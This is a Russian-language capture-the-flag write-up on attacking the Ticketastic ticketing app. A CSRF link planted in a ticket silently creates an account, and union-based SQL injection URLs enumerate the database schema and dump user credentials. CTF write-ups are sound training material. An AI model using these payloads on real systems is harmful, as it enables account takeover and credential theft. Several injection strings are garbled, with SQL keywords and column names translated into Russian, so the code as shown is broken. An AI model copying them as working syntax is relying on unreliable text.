Давайте посмотрим, как мы можем получить первый флаг в этой задаче CTF:

Ниже первый экран:

Давайте сначала попробуем войти.

1. Войти

Теперь, когда мы прошли демонстрационный экземпляр Ticketastic, мы знаем, что есть пользователь-администратор, который позволяет войти в систему для демонстрационных целей. Мы можем попробовать с тем же именем пользователя, но я не думаю, что у него будет тот же пароль :)

Попробуйте с admin/admin, это будет неверный пароль. Это означает, что пользователь с правами администратора существует, но пароль не является администратором. Мы попробовали с помощью Burp Suite Intruder провести грубую силу. Но это не сработало.

Давайте посмотрим, работает ли тот же трюк для Live Instance и для «Submit Ticket» — CSRF.

2. Отправить билет

Используйте приведенный ниже код в теле заявки и создайте пользователя.

https://localhost/newUser?username=user&password=user&password2=user

Для CSRF — прочитайте мой другой блог

Хорошо, теперь давайте отправим новый тикет с текстом ниже:

<a href="http://localhost/newUser?username=test&password=test&password2=test">TEST</a>

3. Войдите с вновь созданной учетной записью

4. ФЛАГ

И вот, первый найденный флаг:

Теперь давайте посмотрим, как мы можем получить второй флаг:

Если вы внимательно посмотрите, в URL-адресе билета есть SQL-инъекция:

http://xxx/xxx/ticket?id=1' ←

При перечислении вы обнаружите, что есть две таблицы базы данных:

http://xxx/xxx/ticket?id=-1%20union+select+concat(table_name),2,3+from+information_schema.tables+where+table_schema=database()%20limit%200,1--

Лимит 0,1 -билетов

Лимит 1,1 — пользователи

Теперь давайте посмотрим, какие столбцы у нас есть в таблице пользователей:

http://34.94.3.143/082d4d8da6/ticket?id=-1%20union+select+concat(column_name),2,3+from+information_schema.columns+where+table_schema=database()%20and%20table_name=% 27пользователей%27%20лимит%200,1--

результат: идентификатор

Пронумеруем далее и все столбцы таблицы users.

http://34.94.3.143/082d4d8da6/ticket?id=-1%20union+select+concat(column_name),2,3+from+information_schema.columns+where+table_schema=database()%20and%20table_name=% 27пользователей%27%20лимит%201,1--

результат: имя пользователя

http://34.94.3.143/082d4d8da6/ticket?id=-1%20union+select+concat(column_name),2,3+from+information_schema.columns+where+table_schema=database()%20and%20table_name=% 27пользователей%27%20лимит%202,1--

результат: пароль

В таблице пользователей больше нет столбцов.

Теперь давайте посмотрим, что мы получили в имени пользователя и пароле:

http://34.94.3.143/082d4d8da6/ticket?id=-1%20union+select+concat(имя пользователя,0x3a,пароль),2,3+from+users--

Идем вторым флагом:

Позвольте мне открыть вам секрет. Если перечислить таблицу -tickets. Вы бы нашли флаг1 :), так что CSRF не нужен.

Вот и все ребята!!

Заботиться!!!

Муниш